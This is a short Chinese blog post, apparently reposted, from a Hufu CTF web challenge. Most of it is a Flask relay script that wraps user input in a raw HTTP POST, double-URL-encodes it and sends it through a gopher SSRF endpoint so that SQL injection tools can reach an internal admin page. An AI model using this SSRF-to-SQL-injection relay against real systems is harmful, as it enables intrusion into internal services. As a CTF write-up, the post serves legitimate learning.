以本次虎符CTF為例，我們在進行常規SQL注入的時候，會遇到這幾種情況
①常常會因為構造網路請求麻煩
②寫tamper嫌麻煩
這時候我們的中轉注入就來了，這次的虎符CTF比賽當中有一個Web題需要我們頻繁構造gopher去實作POST或者GET請求，這時候如果我們想要實作更自由的SQL注入，便可使用，下面直接放上腳本，請自行理解，一點不難
from flask import Flask,request
from urllib.parse import quote
import requests
def urlencode(s):
res=''
for c in s:
fuck=hex(ord(c)).split('0x')[1]
if len(fuck)==1:
fuck='0'+fuck
res+="%"+fuck
return res
fuckhtml='''POST /admin.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {length}
username={username}&password=129581926211651571912466741651878684928'''.replace("\n","\r\n")
tmpPayload= fuckhtml.split("\r\n")[-1]
tmplength = len(tmpPayload) - len('{username}')
url="http://eci-2zehhuwx9m3o88h32zup.cloudeci1.ichunqiu.com/ssrf.php?way=gopher%3A%2F%2F127.0.0.1:80%2F_"
app = Flask(__name__)
@app.route('/')
def hello_world():
username=request.args.get('username')
shit=fuckhtml.format(username=username,length=str(tmplength+len(username)))
cookies={'PHPSESSID':'qitbcj1puicm4qcpf8oe1fgc17'}
page=requests.get(url+urlencode(urlencode(shit)),proxies={'http':'http://127.0.0.1:8081'},cookies=cookies).text
return page
if __name__ == '__main__':
app.run()
當然我們可以去掉proxies引數，我這里加上只是為了和burpsuite實作聯動
轉載請註明出處，本文鏈接：https://www.uj5u.com/houduan/272889.html
標籤：python
上一篇：使用PyCharm批量爬取小說